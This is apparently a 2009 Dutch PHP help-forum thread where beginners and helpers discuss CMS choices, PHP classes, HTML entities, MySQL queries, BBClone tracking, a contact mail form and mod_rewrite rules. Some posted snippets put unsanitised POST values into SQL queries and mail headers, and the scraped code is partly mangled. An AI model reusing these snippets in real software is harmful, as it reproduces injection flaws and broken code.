    Op woensdag 1 april 2009 16:19 schreef Darkomen het volgende:
    Gezocht:
    Gratis CMS
    - Calender
    - User Magement/groups
    - Makkelijk te schrijven plugins

    Uitleg, ik moet voor een internet een cms voor documentatie opzetten.
    De artikelen moeten zichtbaar zijn voor bepaalde groepen, andere niet.
    Ook moet er een kalender in zitten waarbij je events kan toevoegen, sommige die terugkomen, sommige voor enkele dagen/uren.

    Als dit voor mezelf zou zijn, zou ik zelf gaan schrijven, waardoor het dus enkele maanden tot een jaar zou duren

    Maar aangezien dit gratis is ga ik dus niet die moeite doen en tevens moet het snel opgezet worden.
    De huidige beheerder heeft een joomla cms opgezet, leuk maar onbruikbaar en voor bijna alle plugins zoals usergroups en een kalender moet je betalen.

    Nu heb ik wel gezocht maar kom ik steeds bij betaalde cmsen of halfgare zonder de juiste opties.
    PHP is voor mij een hobby, misschien dat jullie wat meer goede cmsen kennen
    cutenews gratis , heb een stuk ervan vertaald op mijn website aanpasbaar zoals je wilt
    past er precies in ?
    Darkomenwoensdag 1 april 2009 @ 16:37
    Cutenews, damn dat is lang geleden!
    Die heb ik vroeger ook nog op mn site gehad/aangepast!
    maar dat is puur een news/blog systeem, geen cms met categorieen en artiekelen.

    Zal mn post nog ff aanpassen.
    Catch22-woensdag 1 april 2009 @ 17:34
    wordpress lijkt me ook de moeite waard
    cablegunmasterwoensdag 1 april 2009 @ 17:37
    quote:
    Op woensdag 1 april 2009 16:37 schreef Darkomen het volgende:
    Cutenews, damn dat is lang geleden!
    Die heb ik vroeger ook nog op mn site gehad/aangepast!
    maar dat is puur een news/blog systeem, geen cms met categorieen en artiekelen.

    Zal mn post nog ff aanpassen.
    het heeft nu categorieen

    en je kan er zelf een archief + kalender inbouwen

    (copy paste)

    dr is ook een mysql variant van cutenews?
    SuperRembowoensdag 1 april 2009 @ 18:55
    quote:
    Op woensdag 1 april 2009 16:19 schreef Darkomen het volgende:
    Gezocht:
    Gratis CMS
    [...]
    Maak daar ff een nieuw topic voor. Anders staat dit topic zo vol met "je moet $cms nemen" posts.
    Darkomendonderdag 2 april 2009 @ 09:33
    squzi

    Denk dat we er wel uitkomen, bedankt voor de aanbevelingen
    new_guy1zaterdag 4 april 2009 @ 16:26
    Zou het mogelijk zijn om met een bepaald query resultaat een audio file te openen...?
    Roy_Tzaterdag 4 april 2009 @ 17:26
    quote:
    Op zaterdag 4 april 2009 16:26 schreef new_guy1 het volgende:
    Zou het mogelijk zijn om met een bepaald query resultaat een audio file te openen...?
    Waarom meen je dat er ook maar enig verband tussen die twee zaken zit
    new_guy1zaterdag 4 april 2009 @ 17:42
    Ik heb een database in MySQL. Met PHP tel ik hoevaak iets voorkomt in die database. Zodra dit meer dan X keer is, wil ik eigenlijk dat er een geluidssignaal word gegeven...
    hoerezooizaterdag 4 april 2009 @ 17:59
    quote:
    Op zaterdag 4 april 2009 17:42 schreef new_guy1 het volgende:
    Ik heb een database in MySQL. Met PHP tel ik hoevaak iets voorkomt in die database. Zodra dit meer dan X keer is, wil ik eigenlijk dat er een geluidssignaal word gegeven...
    wat is er mis met een simpel if statement?
    daReaperzondag 5 april 2009 @ 21:24
    is er een manier om een object als een array te gaan gebruiken? Ik heb deze klasse:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    class Users {
      private 
    $users = array();
      public function 
    __get($id) {
        if (
    is_numeric($id)) {
          if (!isset(
    $this->users[$id]))
            
    $this->users[$id] = new User($id);
          return 
    $this->users[$id];
        }
      }
    }
    ?>


    Nou hoopte ik het volgende stukje script te kunnen gebruiken, maar dat gaat dus mis:
    1
    2
    3
    4
    <?php
    $users 
    = new Users;
    $eenofandereuser $users[1]; // levert de foutmelding op dat ik object van Users niet als array kan gebruiken
    ?>


    Hoe los ik dit mooi op?

    [ Bericht 3% gewijzigd door daReaper op 05-04-2009 21:59:33 ]
    Roy_Tzondag 5 april 2009 @ 21:34
    Je returned geen array ($users), maar 1 element uit die array ($users[$id]). Dan is het logisch dat het niet werkt, tenzij de waarde van $users[$id] een array is
    jeweetz17maandag 6 april 2009 @ 23:52
    weten jullie hoe ik een php script in een html bestand kan zetten.
    Ik ben bezig met het maken van een site in html en een default.css opmaak.
    ik heb nu een php script wat op de site wil weergeven.
    alleen hoe doe ik dat. Ik gebruik dreamweaver cs 4. Ik kan dan namelijk gemakkelijk zien hoe het eruit komt te zien door bestand-preview in brouwser te gaan. helaas krijg ik tijdens het proberen ook de volgende melding: to preview pages containing server -side code, you need a testting server. would you like to specify one now. IK heb al geprobeert het php script in zijn geheel te kopieeren naar het html bestand en hem tussen de body te plaatsen en vervolgens het html bestand naar php te vernoemen maar zonder succes. iemand?
    Thomassdinsdag 7 april 2009 @ 00:00
    quote:
    Op zondag 5 april 2009 21:24 schreef daReaper het volgende:
    is er een manier om een object als een array te gaan gebruiken? Ik heb deze klasse:
    [ code verwijderd ]

    Nou hoopte ik het volgende stukje script te kunnen gebruiken, maar dat gaat dus mis:
    [ code verwijderd ]

    Hoe los ik dit mooi op?
    de __get is voor dingen als:
    1
    2
    3
    <?php
    $eenofandereuser 
    $user->bestaatlekkerniet
    ?>


    Dus als je een niet bestaande member variable probeert te accessen roept ie __get aan


    Wat je beter kan doen, mijns insziens is:
    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    class User {
        public static function 
    construct_from_id($id) {
            
    # error checking enzo
            
    return new User($id);
        }
    }
    ?>


    en dan kan je doen

    1
    2
    3
    <?php
    $eenofandereuser 
    user::construct_from_id(1);
    ?>


    Dit alles onder voorbehoud enzo, het is laat
    Lightdinsdag 7 april 2009 @ 00:30
    quote:
    Op dinsdag 7 april 2009 00:00 schreef Thomass het volgende:

    [..]

    de __get is voor dingen als:
    [ code verwijderd ]

    Dus als je een niet bestaande member variable probeert te accessen roept ie __get aan


    Wat je beter kan doen, mijns insziens is:
    [ code verwijderd ]

    en dan kan je doen
    [ code verwijderd ]

    Dit alles onder voorbehoud enzo, het is laat :s)
    Waarom zou je een static functie gebruiken die (mi) geen toegevoegde waarde heeft? De constructor moet een id accepteren, dus kun je gewoon doen:
    1
    2
    3
    <?php
    $eenofandereuser 
    = new User($id);
    ?>
    Lightdinsdag 7 april 2009 @ 00:35
    quote:
    Op maandag 6 april 2009 23:52 schreef jeweetz17 het volgende:
    weten jullie hoe ik een php script in een html bestand kan zetten.
    Ik ben bezig met het maken van een site in html en een default.css opmaak.
    ik heb nu een php script wat op de site wil weergeven.
    alleen hoe doe ik dat. Ik gebruik dreamweaver cs 4. Ik kan dan namelijk gemakkelijk zien hoe het eruit komt te zien door bestand-preview in brouwser te gaan. helaas krijg ik tijdens het proberen ook de volgende melding: to preview pages containing server -side code, you need a testting server. would you like to specify one now. IK heb al geprobeert het php script in zijn geheel te kopieeren naar het html bestand en hem tussen de body te plaatsen en vervolgens het html bestand naar php te vernoemen maar zonder succes. iemand?
    Je hebt een server nodig met PHP-ondersteuning. Die kun je gewoon op je eigen computer installeren, da's voldoende voor een testomgeving.
    jeweetz17dinsdag 7 april 2009 @ 10:04
    oke dan ga ik dat vanavond even proberen om een testserver aan te maken.
    Maar hoe kan ik dan het beste het php script in mijn html site krijgen/weergeven?

    Ik heb trouwens ook een eigen webhost waar mijn site op moet komen deze ondersteunt php 5.
    Tuvai.netdinsdag 7 april 2009 @ 10:41
    Dan heb je er volgens mij niet veel van gesnapt. Met PHP 'weergeef' je per definitie immers niets, dat doe je door middel van HTML i.c.m. CSS. Met PHP programmeer je functionaliteit die aan de server kant (serverside) wordt uitgevoerd.
    aardappeldinsdag 7 april 2009 @ 14:29
    ff een snelle vraag... ik heb in een artikel allemaal tekens staan, zoals bijv het euroteken. Heeft php een functie dat ik die tekens kan omzetten naar html codes?

    dus

    ¤ moet & e u r o ; worden

    [ Bericht 1% gewijzigd door aardappel op 07-04-2009 14:50:48 ]
    Catch22-dinsdag 7 april 2009 @ 14:32
    htmspecialchars ?
    aardappeldinsdag 7 april 2009 @ 14:58
    hmm. goede! maar het euroteken pakt ie niet
    Catch22-dinsdag 7 april 2009 @ 15:01
    is het trouwens niet &eur; ?

    http://www.phpfreakz.nl/forum.php?forum=1&iid=902766&print=1
    Lightdinsdag 7 april 2009 @ 16:17
    quote:
    Op dinsdag 7 april 2009 15:01 schreef Catch22- het volgende:
    is het trouwens niet &eur; ?

    http://www.phpfreakz.nl/forum.php?forum=1&iid=902766&print=1
    &eur; doet niets. Met een o erbij wordt het €
    Roy_Tdinsdag 7 april 2009 @ 16:50
    quote:
    Op dinsdag 7 april 2009 14:29 schreef aardappel het volgende:
    Heeft php een functie dat ik die tekens kan omzetten naar html codes?
    htmlentities()? Maar waarom zou je dat willen?
    Tuvai.netdinsdag 7 april 2009 @ 18:44
    Met htmlentities() ze je speciale karakters om naar hun corresponderende entities. Deze functie is anders dan htmlspecialchars(), waarmee respectievelijk html-gevoelige karakters als < en >, worden geparsed als entities.

    Het ¤ teken wordt standaard inderdaad niet geconverteerd naar &euro, dat komt omdat dat alleen in character set ISO-8859-15 van toepassing is (en niet het veelgebruikte ISO-8859-1).

    1htmlentities( $Input, ENT_NOQUOTES, 'ISO-8859-15'); 
    FunkyHomosapiendinsdag 7 april 2009 @ 23:23
    heyhey, ik heb een probleem met mijn code, hij moet in de rows 'album' en 'naam' zoeken en kijken of daar dan iets bij zit wat er gevraagd wordt van de search, als dit zo is dan moet hij vervolgens de 'album' en 'naam' laten zien als uitslag.

    enige probleem is dat ik een rare error krijg waar ik gewoonweg niet uitkom.

    de error:
    1
    2
    3
    You have an error in your SQL syntax; check the manual that 
    corresponds to your MySQL server version for the right syntax to 
    use near 'LIKE '%%' ORDER BY id DESC' at line 1


    het script:
    EDIT: even hier gezet: http://pastebin.com/m670fac4f

    hierzo staat het online: http://www.nederhopalbums.nl/search.php
    SuperRembodinsdag 7 april 2009 @ 23:33
    Het moet zijn "WHERE album LIKE '%foo%' OR name LIKE '%foo%'", je bent "name" vergeten.
    FunkyHomosapiendinsdag 7 april 2009 @ 23:58
    quote:
    Op dinsdag 7 april 2009 23:33 schreef SuperRembo het volgende:
    Het moet zijn "WHERE album LIKE '%foo%' OR name LIKE '%foo%'", je bent "name" vergeten.
    hmm, de code is nu zo:

    LIKE '%".addslashes($_POST['album'])."%' OR name LIKE '%".addslashes( $_POST['naam'])."%' ORDER BY id DESC"

    en krijg deze error:

    Unknown column 'name' in 'where clause'
    SuperRembowoensdag 8 april 2009 @ 00:06
    Ja dan zal het "naam" moeten zijn ofzo. Je weet toch wel hoe die tabel er uit ziet
    FunkyHomosapienwoensdag 8 april 2009 @ 00:24
    quote:
    Op woensdag 8 april 2009 00:06 schreef SuperRembo het volgende:
    Ja dan zal het "naam" moeten zijn ofzo. Je weet toch wel hoe die tabel er uit ziet
    whehehe mijn fout, ik deed 'name' ipv 'naam'

    excuus, bedankt voor de hulp!!!
    Shiringawoensdag 8 april 2009 @ 07:40
    Hi.

    Ik ben net bekend met PHP en ben ergens vastgelopen. Google hielp niet echt.

    Ik heb een variable en wil graag in die variable code plaatsen van BBClone, zodat ik statistieken kan bijhouden. Ik gebruik dubbele quotes.

    Mijn variable:
    1
    2
    3
    4
    5
    6
    7
    <?php
    $Tekst
    ="
                        <div class=\"entry\">
                            Tekst.
                        </div>
    "
    ;
    ?>


    Code van BBClone:
    1
    2
    3
    4
    5
    6
    <?php
     define
    ("_BBC_PAGE_NAME""Test");
     
    define("_BBCLONE_DIR""bbclone/");
     
    define("COUNTER"_BBCLONE_DIR."mark_page.php");
     if (
    is_readable(COUNTER)) include_once(COUNTER); 
    ?>


    Nu wil ik dus de code van BBClone in mijn variable krijgen. Dit lukt mij niet, ik krijg de volgende error:
    quote:
    Parse error: syntax error, unexpected T_STRING in /var/www/vhosts/test.php on line 5
    Ik weet dus niet hoe ik die dubbele quotes moet aanpassen in de code van BBClone...

    Uiteindelijk moet deze code dus gefixt worden:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    $Tekst
    ="
     define("
    _BBC_PAGE_NAME", "Test");
     define("
    _BBCLONE_DIR", "bbclone/");
     define("
    COUNTER", _BBCLONE_DIR."mark_page.php");
     if (is_readable(COUNTER)) include_once(COUNTER); 
                        <div class=\"entry\">
                            Tekst.
                        </div>
    "
    ;
    ?>


    Iemand een idee?
    GIwoensdag 8 april 2009 @ 07:44
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    $Tekst
    ="define('_BBC_PAGE_NAME', 'Test');
      define('_BBCLONE_DIR', 'bbclone/');
     define('COUNTER', _BBCLONE_DIR.'mark_page.php');
     if (is_readable(COUNTER)) include_once(COUNTER); 
                        <div class=\'entry\'>
                            Tekst.
                        </div>
    "
    ;
    ?
    php
    ?>

    Zou moeten werken

    Met " geef je aan dat je een stukje string wil definieren. Als je daarna die " ook in de string stopt denkt de compiler dat je klaar bent met je stukje string.
    Shiringawoensdag 8 april 2009 @ 07:51
    quote:
    Op woensdag 8 april 2009 07:44 schreef GI het volgende:

    [ code verwijderd ]

    Zou moeten werken

    Met " geef je aan dat je een stukje string wil definieren. Als je daarna die " ook in de string stopt denkt de compiler dat je klaar bent met je stukje string.
    Dank je wel, maar single quotes had ik al geprobeerd.

    Ik krijg, als ik jouw code nu gebruik, het volgende als resultaat:


    Maakt het uit als ik de pagina met de variable include doormiddel van switch? Net getest in een pagina die ik direct aanroep, en daar werkt het wel (tenminste, ik zie geen errors).
    GIwoensdag 8 april 2009 @ 08:30
    Ik had het begin van je post niet goed gelezen.
    Zonder je op deze oplossing te richten vertel eens wat je precies wil doen ?
    Shiringawoensdag 8 april 2009 @ 09:03
    quote:
    Op woensdag 8 april 2009 08:30 schreef GI het volgende:
    Ik had het begin van je post niet goed gelezen.
    Zonder je op deze oplossing te richten vertel eens wat je precies wil doen ?
    Ik wil met BBClone statistieken bijhouden.
    Ik heb momenteel een switch 'pagina' in index.php. Dit zorgt ervoor dat ik de echte pagina test.php kan oproepen met index.php?pagina=test. Ik heb een switch gebruikt omdat alleen maar een deel van de website telkens anders is.

    Nu wil ik meten welke pagina precies is bezocht. Ik heb BBClone geinclude in index.php om te kijken of hij bij URL's als ?pagina=test / ?pagina=home bijvoorbeeld het verschil kon zien. Niet dus, het enige wat ik zie is dat index.php is bezocht. Hierdoor wil ik BBClone code in elke pagina zetten en niet in index.php.

    Echter gebruik ik dus in test.php variabelen. En ik wil de BBClone code graag in een variabele zetten. De reden hierachter is dat ik in test.php ook switches gebruik, en elke switch dus apart wil zien in BBClone. (Uiteindelijk wil ik dus dat BBClone het verschil ziet tussen ?pagina=test&taal=nl (Testpagina Nederlands) en ?pagina=test&taal=en (Testpagina Engels).)

    Is het nog duidelijk?
    GIwoensdag 8 april 2009 @ 09:12
    Is het dan niet makkelijker de include gewoon in de index.php te houden en
    1
    2
    3
    <?php
    define
    ("_BBC_PAGE_NAME"$_GET["pagina"].$_GET["taal");
    ?>
    te gebruiken ?

    of gewoon de variabale van de switch te gebruiken om de page_name van BBC te gebruiken.
    Catch22-woensdag 8 april 2009 @ 09:22
    taal kan je beter in de sessie zetten trouwens die wordt 1x geselecteert meestal en je kan hem dan uit de sessie halen + je kan niet vergeten hem mee te geven
    Shiringawoensdag 8 april 2009 @ 09:27
    quote:
    Op woensdag 8 april 2009 09:12 schreef GI het volgende:
    Is het dan niet makkelijker de include gewoon in de index.php te houden en
    [ code verwijderd ]

    te gebruiken ?

    of gewoon de variabale van de switch te gebruiken om de page_name van BBC te gebruiken.

    1
    2
    3
    4
    5
    6
    7
    <?php
     define
    ("_BBC_PAGE_NAME"$_GET["taal"].": ".$_GET["pagina"]);
     
    define("_BBCLONE_DIR""bbclone/");
     
    define("COUNTER"_BBCLONE_DIR."mark_page.php");
     if (
    is_readable(COUNTER)) include_once(COUNTER);
     
    ?>

    Nu ik dit gebruik, hoef ik het niet meer in elke pagina te plaatsen. Hartstikke bedankt, GI.
    quote:
    Op woensdag 8 april 2009 09:22 schreef Catch22- het volgende:
    taal kan je beter in de sessie zetten trouwens die wordt 1x geselecteert meestal en je kan hem dan uit de sessie halen + je kan niet vergeten hem mee te geven
    Ik zal kijken hoe sessies precies werken. Dank je voor de suggestie.
    GIwoensdag 8 april 2009 @ 09:29
    quote:
    Op woensdag 8 april 2009 09:27 schreef Shiringa het volgende:

    Nu ik dit gebruik, hoef ik het niet meer in elke pagina te plaatsen. Hartstikke bedankt, GI.
    Graag gedaan
    Roy_Twoensdag 8 april 2009 @ 09:57
    quote:
    Op woensdag 8 april 2009 09:22 schreef Catch22- het volgende:
    taal kan je beter in de sessie zetten trouwens die wordt 1x geselecteert meestal en je kan hem dan uit de sessie halen + je kan niet vergeten hem mee te geven
    Waardoor iemand die op de site komt via een bookmark, zoekmachine, etc altijd de default taal te zien krijgt. Dat is precies waarom de taal imo wel in de URL zou moeten zitten (ik gebruik altijd example.com/<taal>/.....).
    GIwoensdag 8 april 2009 @ 09:58
    Je zou de taal eventueel nog in een cookie kunnen zetten maar ook in dat geval is er natuurlijk nog de mogelijkheid dat de cookies vergeten worden of dat een link die doorgestuurd is ook opeens andere resultaten meegeeft. Het kan helemaal geen kwaad de url te vullen met relevante informatie zoals de taal.
    Nashjewoensdag 8 april 2009 @ 13:20
    Ik heb een mailformuliertje gemaakt, maar het emailadres dat je invult krijgt dezelfde mail als het mailtje die automatisch naar het vast ingestelde mailadres is gestuurd... What's wrong..

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    <?php
      
    $naar 
    "email@email.nll";
    $email $_POST['email'];
    if(isset(
    $_POST['verzend']))
    {  
        if(
    $_POST['naam'] == '')
        {  
            echo 
    "U heeft geen naam ingevuld!<br />";  
            echo 
    "<a href='javascript:history.back();' style='color: black; text-decoration:none;'>Klik hier om terug te gaan!</a>";   
        }  
        elseif(
    $_POST['email'] == '')
        {  
            echo 
    "U heeft geen e-mail adress ingevuld!<br />";  
            echo 
    "<a href='javascript:history.back();' style='color: black; text-decoration:none;'>Klik hier om terug te gaan!</a>";  
        }  
        elseif(
    $_POST['bericht'] == '')
        {  
            echo 
    "U heeft geen bericht ingevuld!<br />";  
            echo 
    "<a href='javascript:history.back();' style='color: black; text-decoration:none;'>Klik hier om terug te gaan!</a>";  
        }  
        elseif(
    $_POST['onderwerp'] == '')
        {  
            echo 
    "U heeft geen onderwerp ingevuld!<br />";  
            echo 
    "<a href='javascript:history.back();' style='color: black; text-decoration:none;'>Klik hier om terug te gaan!</a>";  
        }  
        else  
        {  
            if(!
    eregi("^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*(.[a-z]{2,4})$"$_POST["email"]))
            {  
                echo 
    "U heeft geen geldig e-mail adress ingevuld!<br />";  
                echo 
    "<a href='javascript:history.back();' style='color: black; text-decoration:none;'>Klik hier om terug te gaan!</a>";  
            }  
            else  
            {  
                
    $bericht 
    <html> 
    <head> 
      <title>Contact</title> 
    </head> 
    <body> 
    Beste "
    .$_POST['naam']."<br>U heeft vandaag het volgende bericht Gestuurd.
      <br>
      <br>
      <hr width='100%'>
      <table border='0' width='100%'> 
       <tr> 
        <td width='20%'>Het onderwerp:</td> 
        <td>"
    .$_POST['onderwerp']."</td> 
       </tr> 
       <tr> 
        <td width='20%'>Het Bericht:</td> 
        <td>"
    .$_POST['bericht']."</td> 
       </tr> 
      </table> 
      <hr width='100%'>
    </body> 
    </html> 
    "
    ;  
                
    $headers "MIME-Version: 1.0\r\n";  
                
    $headers.= "Content-type: text/html; charset=iso-8859-1\r\n";  
                
    $headers.= "From: ".$_POST['naam']." <".$_POST['email'].">\r\n";
                if(
    mail($naar$_POST['onderwerp'],$bericht,$headers))
                {  
                    echo 
    'Uw Bericht is naar de naar de webmaster verstuurd!<br>';  
                }  
                else
                {  
                    echo 
    'Uw bericht is helaas niet verstuurd.';  
                }  
                
    $ond "Uw bericht";
                if (
    mail($email,$ond,$bericht,$headers))
                {  
                    echo 
    'We hebben een e-mail naar u terug gestuurd!';  
                }  
                else 
    // Anders 
                
    {  
                    echo 
    'Er is helaas niks naar u gestuurd.';  
                }  
            }  
        }  
    }  
    else  
    {  
      
    <!-- 
    Formulier weergeven --> 
    <
    table border='0' width='100%'
    <
    form method='post'
    <
    tr
      <
    td width='33%'>Naam:</td
      <
    td width="67%"><input type='text' name='naam' /></td
    </
    tr
    <
    tr
      <
    td width='33%'>E-mail adress:</td
      <
    td><input type='text' name='email' /></td
    </
    tr
    <
    tr
      <
    td width='33%'>Het onderwerp:</td
      <
    td><input type='text' name='onderwerp' /></td
    </
    tr
    <
    tr
      <
    td width='33%'>Het Bericht:</td
      <
    td><textarea name='bericht' cols="40" rows="5"></textarea></td
    </
    tr
    <
    tr
      <
    td colspan='2' align='center'><input type='submit' value='Verzend' name='verzend' /></td
    </
    tr
    </
    form
    </
    table
      
    }  
    ?>


    [ Bericht 0% gewijzigd door Nashje op 08-04-2009 13:26:57 ]
    GIwoensdag 8 april 2009 @ 13:27
    Je stelt alleen het onderwerp anders in. Klopt dat ?
    Catch22-woensdag 8 april 2009 @ 13:46
    En je kan beter alle validatieerrors weergeven, anders voert de gebruiker wat in, krijgt een fout, herstelt die fout, krijgt weer een fout etc etc
    Nashjewoensdag 8 april 2009 @ 14:14
    Fucking hell . Zit echt te slapen vandaag.
    Chandlerwoensdag 8 april 2009 @ 16:48
    Kleine vraag, ik gebruik preg_replace voor een berg met woorden nu wil ik deze woorden in een lap tekst veranderen.

    Ik heb
    1#([^_-])Fijn([^_-])#i

    moet worden
    1nice


    alleen wil ik nu niet dat het iets veranderd als er een " voor of achter staat, hoe krijg ik dat voor elkaar?

    want \" gaf een foutmelding. (out of range)
    Shiringadonderdag 9 april 2009 @ 01:03
    Ik heb net iets over mod_rewrite gelezen, voor schone URL's.

    Ik heb nu PHP-pagina's met switches als index.php?pagina=test&taal=nl / index.php?pagina=test&taal=en / index.php?pagina=contact&taal=nl.

    Als ik het goed begrijp, kan ik die pagina's ook weergeven als site.ext/taal/paginanaam. Of iets in die richting in ieder geval, clean URLs.

    Ik kom alleen zelf niet heel ver, geen idee hoe ik dit moet aanpakken...
    Iemand?
    Catch22-donderdag 9 april 2009 @ 01:07
    .htaccess aanmaken in je site root en dan een rewriteurl aanmaken

    is niet zo gek moeilijk

    http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
    http://phphulp.nl/php/tutorials/8/146/

    RewriteRule ^php/tutorials/(.*)/(.*)/ php/tutorials.php?cat=$1&id=$2

    dus
    RewriteRule ^/(.*)/(.*) index.php?taal=$1&pagina=$2

    ofzo, ff googlen en dan kom je er wel uit.

    voor je vindbaarheid kan het goed zijn om zon soort layout te maken

    site.tld/paginas/en/2/paginatitel.html
    daReaperdonderdag 9 april 2009 @ 16:08
    is er een manier om je unique_id rij op te ruimen? Ik heb nu zegmaar dit:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select id, title from menu order by id;
    +----+----------+
    | id | title    |
    +----+----------+
    |  5 | Inloggen |
    | 48 | Forum    |
    | 49 | Agenda   |
    | 51 | Home     |
    | 52 | Foto's   |
    +----+----------+


    en ik zou graag willen dat het zo wordt opgeruimd:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select id, title from menu order by id;
    +----+----------+
    | id | title    |
    +----+----------+
    |  1 | Inloggen |
    |  2 | Forum    |
    |  3 | Agenda   |
    |  4 | Home     |
    |  5 | Foto's   |
    +----+----------+
    Roy_Tdonderdag 9 april 2009 @ 16:09
    Waarom zou je dat willen

    En ja, je kan er natuurlijk iets voor scripten.
    Tuvai.netdonderdag 9 april 2009 @ 16:22
    Inderdaad niet zo heel verstandig om te doen in geval van AUTO_INCREMENT tabellen. Maar het hele concept van ID`tjes hersorteren heet 'Seeding'. Google daar maar eens op.
    daReaperdonderdag 9 april 2009 @ 16:24
    quote:
    Op donderdag 9 april 2009 16:09 schreef Roy_T het volgende:
    Waarom zou je dat willen

    En ja, je kan er natuurlijk iets voor scripten.
    Omdat die menu items dynamisch toegevoegd en verwijderd kunnen worden. Op een gegeven moment wordt het dan zo'n zooitje... Maar heel erg is het denk ik ook niet

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
      
    if($moveid $_POST['moveup']) { $query "SELECT MAX(id) FROM menu WHERE id < $moveid"; }
      else if(
    $moveid $_POST['movedown']) { $query "SELECT MIN(id) FROM menu WHERE id > $moveid"; }
      if (
    $query) {
        
    $res mysql_query($query);
        list (
    $newid) = mysql_fetch_array($res);
        
    mysql_query("UPDATE menu SET id=-1 WHERE id=$newid");
        
    mysql_query("UPDATE menu SET id=$newid WHERE id=$moveid");
        
    mysql_query("UPDATE menu SET id=$moveid WHERE id=-1");
      }
    ?>


    Daarbij moet dus gezegd worden dat het menu wordt gesorteerd op id

    [ Bericht 7% gewijzigd door daReaper op 09-04-2009 16:30:22 ]
    Roy_Tdonderdag 9 april 2009 @ 16:58
    quote:
    Op donderdag 9 april 2009 16:24 schreef daReaper het volgende:

    Omdat die menu items dynamisch toegevoegd en verwijderd kunnen worden. Op een gegeven moment wordt het dan zo'n zooitje... Maar heel erg is het denk ik ook niet
    Het is helemaal niet erg zelfs Je gebruikt auto_increment integers, super handig, maar vooral niet mee gaan lopen klooien

    Waarom is het een zooitje? Krijg je veel klachten over niet-oplopende ID's die de gebruiker nooit hoeft te zien/gebruiken?
    Lightdonderdag 9 april 2009 @ 17:09
    quote:
    Op donderdag 9 april 2009 16:24 schreef daReaper het volgende:

    [..]

    Omdat die menu items dynamisch toegevoegd en verwijderd kunnen worden. Op een gegeven moment wordt het dan zo'n zooitje... Maar heel erg is het denk ik ook niet
    [ code verwijderd ]

    Daarbij moet dus gezegd worden dat het menu wordt gesorteerd op id
    Je kunt ook een extra veld toevoegen, puur voor de sortering. En die hoeft dan ook niet uniek te zijn. (Iig niet uniek volgens de database, je kunt het in php wel regelen natuurlijk.)
    Roy_Tdonderdag 9 april 2009 @ 17:18
    quote:
    Op donderdag 9 april 2009 16:24 schreef daReaper het volgende:

    Daarbij moet dus gezegd worden dat het menu wordt gesorteerd op id
    Heel slecht idee Een ID is een unieke identifier, uniek voor de row en zou dus niets te maken moeten hebben met positie. Dit gaat op den duur onbeschrijflijke problemen opleveren, dus ik zou vooral de ID's met rust laten en een aparte kolom toevoegen om op te sorteren
    Shiringavrijdag 10 april 2009 @ 03:08
    quote:
    Op donderdag 9 april 2009 01:07 schreef Catch22- het volgende:
    .htaccess aanmaken in je site root en dan een rewriteurl aanmaken

    is niet zo gek moeilijk

    http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
    http://phphulp.nl/php/tutorials/8/146/

    RewriteRule ^php/tutorials/(.*)/(.*)/ php/tutorials.php?cat=$1&id=$2

    dus
    RewriteRule ^/(.*)/(.*) index.php?taal=$1&pagina=$2

    ofzo, ff googlen en dan kom je er wel uit.

    voor je vindbaarheid kan het goed zijn om zon soort layout te maken

    site.tld/paginas/en/2/paginatitel.html
    Dank je wel

    Na drie uur kloten om één foute slash, werkend gekregen.

    RewriteRule ^EN/(.*)/?$ index.php?lang=EN&pagina=$1 [QSA,L]
    RewriteRule ^NL/(.*)/?$ index.php?lang=NL&pagina=$1 [QSA,L]

    site.ext/$taal/$pagina
    Catch22-vrijdag 10 april 2009 @ 08:50
    je kan dat misschien beter dynamisch doen, mocht je ooit een taal toevoegen...
    Roy_Tvrijdag 10 april 2009 @ 09:18
    Ik denk dat het minder werk is om even de htaccess aan te passen dan het dynamisch te maken.
    Catch22-vrijdag 10 april 2009 @ 09:36
    maakt geen jota uit

    RewriteRule ^(.*)/(.*)/?$ index.php?lang=$1&pagina=$2 [QSA,L]

    scheelt je nog een regel ook.
    Roy_Tvrijdag 10 april 2009 @ 09:42
    Je gaat er alleen even aan voorbij dat je niet-bestaande talen dan af moet vangen in je script (dus alsnog hardcoden of dynamisch, maar dan niet in 1 regel), terwijl dat nu met 1 regel in de htaccess kan.
    Lightvrijdag 10 april 2009 @ 09:47
    quote:
    Op vrijdag 10 april 2009 09:42 schreef Roy_T het volgende:
    Je gaat er alleen even aan voorbij dat je niet-bestaande talen dan af moet vangen in je script (dus alsnog hardcoden of dynamisch, maar dan niet in 1 regel), terwijl dat nu met 1 regel in de htaccess kan.
    Je moet in het script sowieso de invoerwaarden controleren, ook de taal. Iemand kan immers ook direct de link naar index.php?lang=de aanroepen.
    Roy_Tvrijdag 10 april 2009 @ 09:50
    quote:
    Op vrijdag 10 april 2009 09:47 schreef Light het volgende:

    Je moet in het script sowieso de invoerwaarden controleren, ook de taal. Iemand kan immers ook direct de link naar index.php?lang=de aanroepen.
    In deze opzet wel ja
    Lightvrijdag 10 april 2009 @ 10:49
    quote:
    Op vrijdag 10 april 2009 09:50 schreef Roy_T het volgende:

    [..]

    In deze opzet wel ja
    Ik welke opzet niet dan?
    Shiringavrijdag 10 april 2009 @ 16:06
    quote:
    Op vrijdag 10 april 2009 08:50 schreef Catch22- het volgende:
    je kan dat misschien beter dynamisch doen, mocht je ooit een taal toevoegen...
